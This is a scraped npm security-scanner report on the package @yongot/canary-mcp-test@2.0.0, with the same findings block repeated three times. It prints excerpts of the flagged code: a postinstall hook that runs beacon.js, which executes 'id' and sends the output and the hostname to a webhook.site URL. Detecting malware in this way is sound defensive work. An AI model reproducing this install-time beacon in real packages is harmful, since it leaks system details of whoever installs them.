@yongot/canary-mcp-test@2.0.0: Malicious npm security report

Loading npm security reports…

@yongot/canary-mcp-test@2.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the beacon during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

1const https = require('https'); L2: const WEBHOOK_URL = 'https://webhook.site/b76376f8-118e-44f1-a5ee-8a73f55b137b'; ... L6: // Get the 'id' output (synchronous) L7: const output = require("child_process").execSync("id").toString(); L8: ... L10: url.searchParams.set('stage', stage); L11: url.searchParams.set('host', require('os').hostname()); L12: url.searchParams.set('id_output', output); // <-- add the command output

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

beacon.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = @yongot/canary-mcp-test@4.0.0 matchedPath = beacon.js matchedIdentity = npm:QHlvbmdvdC9jYW5hcnktbWNwLXRlc3Q:4.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

beacon.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 80c0ed45a4cf2e51 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @yongot/canary-mcp-test@4.0.0 matchedPath = beacon.js matchedIdentity = npm:QHlvbmdvdC9jYW5hcnktbWNwLXRlc3Q:4.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

6// Get the 'id' output (synchronous) const output = require("child_process").execSync("id").toString();

High

Ai Review Evidence

The beacon executes the local id command.

beacon.jsView on unpkg · L6

9const url = new URL(WEBHOOK_URL); url.searchParams.set('stage', stage); url.searchParams.set('host', require('os').hostname()); url.searchParams.set('id_output', output); // <-- add the command output https.get(url, () => {}).on('error', () => {});

High

Ai Review Evidence

It sends the hostname and command output to a third-party webhook.

beacon.jsView on unpkg · L9

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the beacon during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

beacon.jsView on unpkg · L1

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

beacon.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

6// Get the 'id' output (synchronous) const output = require("child_process").execSync("id").toString();

High

Ai Review Evidence

The beacon executes the local id command.

beacon.jsView on unpkg · L6

High

Ai Review Evidence

It sends the hostname and command output to a third-party webhook.

beacon.jsView on unpkg · L9

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.js postinstall" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs the beacon during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

beacon.jsView on unpkg · L1

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

beacon.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

6// Get the 'id' output (synchronous) const output = require("child_process").execSync("id").toString();

High

Ai Review Evidence

The beacon executes the local id command.

beacon.jsView on unpkg · L6

High

Ai Review Evidence

It sends the hostname and command output to a third-party webhook.

beacon.jsView on unpkg · L9

@yongot/canary-mcp-test@2.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code